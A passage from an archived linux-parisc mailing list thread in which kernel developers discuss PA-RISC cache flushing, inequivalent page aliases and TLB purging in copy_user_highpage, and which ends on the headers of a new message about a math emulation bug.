	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753792Ab2ACPcV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 10:32:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BEA448EE0E3;
	Tue,  3 Jan 2012 07:32:21 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5RViy7_YeK4M; Tue,  3 Jan 2012 07:32:21 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 24A428EE0A3;
	Tue,  3 Jan 2012 07:32:21 -0800 (PST)
In-Reply-To: <4F031B1A.4010908@bell.net>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4092>

On Tue, 2012-01-03 at 10:13 -0500, John David Anglin wrote:
> On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
> > On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>  wrote:
> >> None of this worked.  Attached patch as it stands.  Comments and testing
> >> appreciated.
> > Could you clarify what you mean by "none of this worked?"
> >
> 
> I tried eliminating the flushes that occur in kunmap_atomic on PA8800 
> and PA8900
> after the calls to clear_user_page and copy_user_page by defining 
> clear_user_highpage
> and copy_user_highpage.  I had thought the flushes weren't necessary.  
> There's something
> about this that I don't understand.  Why do we need to flush 
> non-equivalent page mappings
> that aren't used?

But they are used:  Your work makes sure that all user space mappings
are equivalent.  However, because of the way Linux sets up kernel
mappings (from the pfn array and offsets) the user virtual address and
kernel virtual address almost never are.  kmap is exclusively used so
the kernel can access a user page, and at that point, we need to flush
because we've set up an inequivalent alias (even if it's only done for
read)

kmap/kmap_atomic is used in more than just copy/flush ... or did you
mean that you removed the kmap calls in copy/flush and the whole thing
doesn't work (rather than as you imply you removed the flush in kunmap?)

> Also tried:
> #define flush_cache_dup_mm(mm)        do { } while (0)
> 
> In both cases, init died causing a panic at boot.  Maybe there's 
> something missing at
> startup.
> 
> Most arch's have the above define for flush_cache_dup_mm.  Our define 
> really hurts
> fork performance.  The GCC testsuite takes almost twice as long to run 
> on linux as hpux.
> On the other hand, build times are fairly comparable.

I'll look into this, but I fear, because of the way the pa cache is
tagged, we'll have to keep the flush (same goes for flush_cache_mm).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 11:26:52 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <4F032C4C.10805@bell.net>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>  <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>  <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>  <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>  <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>  <4F031B1A.4010908@bell.net> <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325607999 6203 80.91.229.12 (3 Jan 2012 16:26:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 16:26:39 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 17:26:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri7C6-0000GE-HV
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 17:26:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753985Ab2ACQ0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 11:26:33 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:57879 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753947Ab2ACQ0d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 11:26:33 -0500
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ri7C3-0000nB-1U; Tue, 03 Jan 2012 11:26:31 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4093>

On 1/3/2012 10:32 AM, James Bottomley wrote:
> On Tue, 2012-01-03 at 10:13 -0500, John David Anglin wrote:
>> On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
>>> On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>   wrote:
>>>> None of this worked.  Attached patch as it stands.  Comments and testing
>>>> appreciated.
>>> Could you clarify what you mean by "none of this worked?"
>>>
>> I tried eliminating the flushes that occur in kunmap_atomic on PA8800
>> and PA8900
>> after the calls to clear_user_page and copy_user_page by defining
>> clear_user_highpage
>> and copy_user_highpage.  I had thought the flushes weren't necessary.
>> There's something
>> about this that I don't understand.  Why do we need to flush
>> non-equivalent page mappings
>> that aren't used?
> But they are used:  Your work makes sure that all user space mappings
> are equivalent.  However, because of the way Linux sets up kernel
> mappings (from the pfn array and offsets) the user virtual address and
> kernel virtual address almost never are.  kmap is exclusively used so
> the kernel can access a user page, and at that point, we need to flush
> because we've set up an inequivalent alias (even if it's only done for
> read)
>
> kmap/kmap_atomic is used in more than just copy/flush ... or did you
> mean that you removed the kmap calls in copy/flush and the whole thing
> doesn't work (rather than as you imply you removed the flush in kunmap?)
>
I didn't modify kmap/kunmap_atomic.  I wrote versions of 
clear_user_highpage and
copy_user_highpage to replace the default versions in linux/highmem.h.  
I replaced
the kunmap_atomic calls with pagefault_enable to avoid the flush in the 
returns from
clear/copy_user_page (actually, I only used one call to 
pagefault_enable, so maybe
that was the issue).  As far as I could tell, clear/copy_user_page are 
only called via
clear/copy_user_highpage.  The behavior of kmap/kunmap_atomic in other 
situations
shouldn't have changed.

Chapter F makes it clear that *all* inequivalent aliases to a page have 
to be removed
when a write capable translation is enabled (no flush needed).  When a 
write-capable
translation needs to be read through an inequivalent alias, the page is 
supposed to
be flushed, the write-capable translation is supposed to be removed from 
the page
directory and then purged.

That's why I added the purge_tlb_entries calls to set_pte_at and 
ptep_set_wrprotect.
We avoid the flush by doing the `from' read through an equivalent 
mapping.  However,
the inequivalent mapping is still there.  It seems to be necessary to 
purge the TLB
entries prior to clearing/copying.  However, from what I read in Chapter 
F, the purge
is probably insufficient to speculative prevent move in.  If I recall 
correctly, the
kunmap_atomic also generates another TLB purge as well as a flush.

There is a special access type (7) that can be used to prevent read and 
write move in.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 11:42:10 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <4F032FE2.4020000@bell.net>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>  <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>  <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>  <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>  <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>  <4F031B1A.4010908@bell.net> <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com> <4F032C4C.10805@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325608917 13020 80.91.229.12 (3 Jan 2012 16:41:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 16:41:57 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 17:41:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri7Qt-0005zJ-MB
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 17:41:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753985Ab2ACQlv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 11:41:51 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:56239 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752138Ab2ACQlu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 11:41:50 -0500
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ri7Qr-0007D8-1j; Tue, 03 Jan 2012 11:41:49 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <4F032C4C.10805@bell.net>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4094>

On 1/3/2012 11:26 AM, John David Anglin wrote:
> I replaced
> the kunmap_atomic calls with pagefault_enable to avoid the flush in 
> the returns from
> clear/copy_user_page (actually, I only used one call to 
> pagefault_enable, so maybe
> that was the issue).
It looks like I messed up the enable.  Will retry.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 10:42:52 -0600
Lines: 87
Approved: news@gmane.org
Message-ID: <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
	  <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
	  <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
	  <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
	  <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
	  <4F031B1A.4010908@bell.net>
	 <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
	 <4F032C4C.10805@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325608981 13522 80.91.229.12 (3 Jan 2012 16:43:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 16:43:01 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 17:42:56 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri7Rv-0006xc-Bh
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 17:42:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754091Ab2ACQmy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 11:42:54 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41649 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752138Ab2ACQmy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 11:42:54 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3D9538EE0E3;
	Tue,  3 Jan 2012 08:42:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id E1B2W2-QPeyC; Tue,  3 Jan 2012 08:42:54 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 28C708EE0A3;
	Tue,  3 Jan 2012 08:42:53 -0800 (PST)
In-Reply-To: <4F032C4C.10805@bell.net>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4095
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4095>

On Tue, 2012-01-03 at 11:26 -0500, John David Anglin wrote:
> On 1/3/2012 10:32 AM, James Bottomley wrote:
> > On Tue, 2012-01-03 at 10:13 -0500, John David Anglin wrote:
> >> On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
> >>> On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>   wrote:
> >>>> None of this worked.  Attached patch as it stands.  Comments and testing
> >>>> appreciated.
> >>> Could you clarify what you mean by "none of this worked?"
> >>>
> >> I tried eliminating the flushes that occur in kunmap_atomic on PA8800
> >> and PA8900
> >> after the calls to clear_user_page and copy_user_page by defining
> >> clear_user_highpage
> >> and copy_user_highpage.  I had thought the flushes weren't necessary.
> >> There's something
> >> about this that I don't understand.  Why do we need to flush
> >> non-equivalent page mappings
> >> that aren't used?
> > But they are used:  Your work makes sure that all user space mappings
> > are equivalent.  However, because of the way Linux sets up kernel
> > mappings (from the pfn array and offsets) the user virtual address and
> > kernel virtual address almost never are.  kmap is exclusively used so
> > the kernel can access a user page, and at that point, we need to flush
> > because we've set up an inequivalent alias (even if it's only done for
> > read)
> >
> > kmap/kmap_atomic is used in more than just copy/flush ... or did you
> > mean that you removed the kmap calls in copy/flush and the whole thing
> > doesn't work (rather than as you imply you removed the flush in kunmap?)
> >
> I didn't modify kmap/kunmap_atomic.  I wrote versions of 
> clear_user_highpage and
> copy_user_highpage to replace the default versions in linux/highmem.h.  
> I replaced
> the kunmap_atomic calls with pagefault_enable to avoid the flush in the 
> returns from
> clear/copy_user_page (actually, I only used one call to 
> pagefault_enable, so maybe
> that was the issue).  As far as I could tell, clear/copy_user_page are 
> only called via
> clear/copy_user_highpage.  The behavior of kmap/kunmap_atomic in other 
> situations
> shouldn't have changed.
> 
> Chapter F makes it clear that *all* inequivalent aliases to a page have 
> to be removed
> when a write capable translation is enabled (no flush needed).  When a 
> write-capable
> translation needs to be read through an inequivalent alias, the page is 
> supposed to
> be flushed, the write-capable translation is supposed to be removed from 
> the page
> directory and then purged.
> 
> That's why I added the purge_tlb_entries calls to set_pte_at and 
> ptep_set_wrprotect.
> We avoid the flush by doing the `from' read through an equivalent 
> mapping.  However,
> the inequivalent mapping is still there.  It seems to be necessary to 
> purge the TLB
> entries prior to clearing/copying.  However, from what I read in Chapter 
> F, the purge
> is probably insufficient to speculative prevent move in.  If I recall 
> correctly, the
> kunmap_atomic also generates another TLB purge as well as a flush.
> 
> There is a special access type (7) that can be used to prevent read and 
> write move in.

Actually, now I recall why copy_user_highpage never got implemented
through the tmpalias space:  it does cache hot copies (so we effectively
copy straight from the cache of the source address into the cache of the
destination).  This is all fine and dandy and very fast until we have to
copy executable pages: in this case, we set up an I/D cache
inconsistency in userspace (which userspace apparently doesn't expect).
It can be resolved by flushing the userspace cache, so the page becomes
up to date an I movein sees the correct data, which is probably what the
flush you still need is doing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 13:39:39 -0500
Lines: 119
Approved: news@gmane.org
Message-ID: <4F034B6B.5020809@bell.net>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>   <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>   <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>   <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>   <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>   <4F031B1A.4010908@bell.net>  <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>  <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325615974 32364 80.91.229.12 (3 Jan 2012 18:39:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 18:39:34 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 19:39:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri9Gg-0008W8-Mv
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 19:39:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754600Ab2ACSjZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 13:39:25 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:33343 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754582Ab2ACSjZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 13:39:25 -0500
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ri9Gc-0002TF-1A; Tue, 03 Jan 2012 13:39:23 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4096
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4096>

On 1/3/2012 11:42 AM, James Bottomley wrote:
> On Tue, 2012-01-03 at 11:26 -0500, John David Anglin wrote:
>> On 1/3/2012 10:32 AM, James Bottomley wrote:
>>> On Tue, 2012-01-03 at 10:13 -0500, John David Anglin wrote:
>>>> On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
>>>>> On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>    wrote:
>>>>>> None of this worked.  Attached patch as it stands.  Comments and testing
>>>>>> appreciated.
>>>>> Could you clarify what you mean by "none of this worked?"
>>>>>
>>>> I tried eliminating the flushes that occur in kunmap_atomic on PA8800
>>>> and PA8900
>>>> after the calls to clear_user_page and copy_user_page by defining
>>>> clear_user_highpage
>>>> and copy_user_highpage.  I had thought the flushes weren't necessary.
>>>> There's something
>>>> about this that I don't understand.  Why do we need to flush
>>>> non-equivalent page mappings
>>>> that aren't used?
>>> But they are used:  Your work makes sure that all user space mappings
>>> are equivalent.  However, because of the way Linux sets up kernel
>>> mappings (from the pfn array and offsets) the user virtual address and
>>> kernel virtual address almost never are.  kmap is exclusively used so
>>> the kernel can access a user page, and at that point, we need to flush
>>> because we've set up an inequivalent alias (even if it's only done for
>>> read)
>>>
>>> kmap/kmap_atomic is used in more than just copy/flush ... or did you
>>> mean that you removed the kmap calls in copy/flush and the whole thing
>>> doesn't work (rather than as you imply you removed the flush in kunmap?)
>>>
>> I didn't modify kmap/kunmap_atomic.  I wrote versions of
>> clear_user_highpage and
>> copy_user_highpage to replace the default versions in linux/highmem.h.
>> I replaced
>> the kunmap_atomic calls with pagefault_enable to avoid the flush in the
>> returns from
>> clear/copy_user_page (actually, I only used one call to
>> pagefault_enable, so maybe
>> that was the issue).  As far as I could tell, clear/copy_user_page are
>> only called via
>> clear/copy_user_highpage.  The behavior of kmap/kunmap_atomic in other
>> situations
>> shouldn't have changed.
>>
>> Chapter F makes it clear that *all* inequivalent aliases to a page have
>> to be removed
>> when a write capable translation is enabled (no flush needed).  When a
>> write-capable
>> translation needs to be read through an inequivalent alias, the page is
>> supposed to
>> be flushed, the write-capable translation is supposed to be removed from
>> the page
>> directory and then purged.
>>
>> That's why I added the purge_tlb_entries calls to set_pte_at and
>> ptep_set_wrprotect.
>> We avoid the flush by doing the `from' read through an equivalent
>> mapping.  However,
>> the inequivalent mapping is still there.  It seems to be necessary to
>> purge the TLB
>> entries prior to clearing/copying.  However, from what I read in Chapter
>> F, the purge
>> is probably insufficient to speculative prevent move in.  If I recall
>> correctly, the
>> kunmap_atomic also generates another TLB purge as well as a flush.
>>
>> There is a special access type (7) that can be used to prevent read and
>> write move in.
> Actually, now I recall why copy_user_highpage never got implemented
> through the tmpalias space:  it does cache hot copies (so we effectively
> copy straight from the cache of the source address into the cache of the
> destination).  This is all fine and dandy and very fast until we have to
> copy executable pages: in this case, we set up an I/D cache
> inconsistency in userspace (which userspace apparently doesn't expect).
> It can be resolved by flushing the userspace cache, so the page becomes
> up to date an I movein sees the correct data, which is probably what the
> flush you still need is doing.
>
Note that I added flush code to "copy_user_page_asm" to handle this.  I 
guess this
flush could be avoided if we knew the page wasn't executable, but it is 
not that easy
to figure out if a page is executable without the vma or mm.  I also 
added 64-bit
support and renamed the old version to copy_page_asm so both versions 
would be
available for use/testing.

I see that copy_user_highpage does have the vma, so maybe there is some hope
of further optimizing copy_user_page_asm.

I came to the conclusion that it was better to do a flush when copying 
through the
tmpalias space than try to flush the `from' page in ptep_set_wrprotect 
as proposed
by Niibe a couple of years ago.  First, a COW page may never be written 
to, so
why do  a unnecessary flush (my assumption based on the documentation is 
that
clear/copy_user_page are primarily for COW support)?

At the time the minifail bug was being discussed, I hadn't realized that 
the TLB
needed purging in set_pte_at and ptep_set_wrprotect.  This became clear when
I looked at arm.  Without the TLB purge, the flush proposed by Niibe was 
still
racy.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel math emulation bug
Date: Sat, 14 Jan 2012 16:14:45 -0500
Organization: nrc.ca
Lines: 43
Approved: news@gmane.org
Message-ID: <20120114211445.GA5426@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1326576174 30205 80.91.229.12 (14 Jan 2012 21:22:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 14 Jan 2012 21:22:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 14 22:22:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RmB3j-0007J5-Bg
	for glpp-linux-parisc@lo.gmane.org; Sat, 14 Jan 2012 22:22:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753120Ab2ANVWl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Jan 2012 16:22:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1141 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751702Ab2ANVWk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Jan 2012 16:22:40 -0500
X-Greylist: delayed 473 seconds by postgrey-1.27 at vger.kernel.org; Sat, 14 Jan 2012 16:22:40 EST
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6D2144DE3; Sat, 14 Jan 2012 16:14:46 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4097
